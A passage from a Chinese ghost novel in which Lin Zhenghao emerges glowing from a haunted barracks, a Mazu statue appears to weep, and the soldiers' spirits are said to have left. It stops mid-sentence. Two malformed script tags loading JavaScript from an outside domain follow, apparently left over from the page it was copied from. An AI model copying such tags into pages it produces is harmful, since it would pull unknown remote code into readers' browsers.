林正豪睁开眼睛。
他站在营舍外面的草地上。月光洒在他身上,把他的影子投在草地上,短短的、胖胖的,像一个普通的、三十四岁的中年男人的影子。
营舍的门在他身后关着。铁锁还在地上,躺在碎石里,一动不动。
小陈站在几步之外,手里捧着妈祖像,嘴巴张得可以塞进一颗鸡蛋。他的眼睛瞪得像铜铃一样大,脸上的表情像是看到了世界上最不可思议的东西——不是恐惧,而是纯粹的、彻底的震惊。
“豪哥……”小陈的声音像是从梦里传出来的,“你刚才……你刚才整个人在发光。”
“什么?”
“你刚才走进去之后,我在外面等了大概十分钟。然后那扇门——营舍的那扇门——自己开了。你从里面走出来,但是你不是用走的,你是用飘的。你的脚没有踩在地上,你浮在半空中,大概离地这么高——”小陈用手比了一个大约十公分的高度,“你整个人是白色的,不是衣服白,是你在发光,白色的光,像那种……像那种LED灯条,但是更柔和。然后你走到草地上,脚落地了,光就灭了。你就站在那里,闭着眼睛,站了大概一分钟,才睁开眼睛。”
林正豪低头看了看自己的脚。脚踩在草地上,草叶上沾着露水,湿湿的,凉凉的。一切都很正常。
“你确定你看到的不是幻觉?”
“豪哥,你刚才出来的时候,妈祖像在哭。”小陈举起手里的妈祖像。妈祖像的脸上,有两道湿湿的、亮亮的痕迹,从眼睛的位置一直延伸到下巴,像是泪痕。
林正豪伸手摸了摸妈祖像的脸。瓷器的表面是凉的,但那两道痕迹是温的,像是真的有人刚刚流过泪。
“豪哥,里面的人呢?”小陈的声音很小,像是怕吵醒什么。
林正豪回头看了一眼营舍。营舍在月光下静静地矗立着,灰黑色的木墙,深灰色的瓦顶,破败的窗户。一切都很正常。但他知道,里面已经没有人了。那些士兵,那些影子,那些蜷缩在角落里、抱着枪、喃喃自语的灵魂,都走了。
他们回家了。
他不知道他们去了哪里。也许是回到了日本,回到了他们的故乡,回到了他们出生和长大的地方。也许是去了另一个世界,一个没有战争、没有恐惧、没有等待的世界。也许只是消散了,化成了风,化成了光,化成了空气里的一缕花香,再也找不到踪迹。
但他知道一件事——他们不在这里了。这栋营舍,从今晚开
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">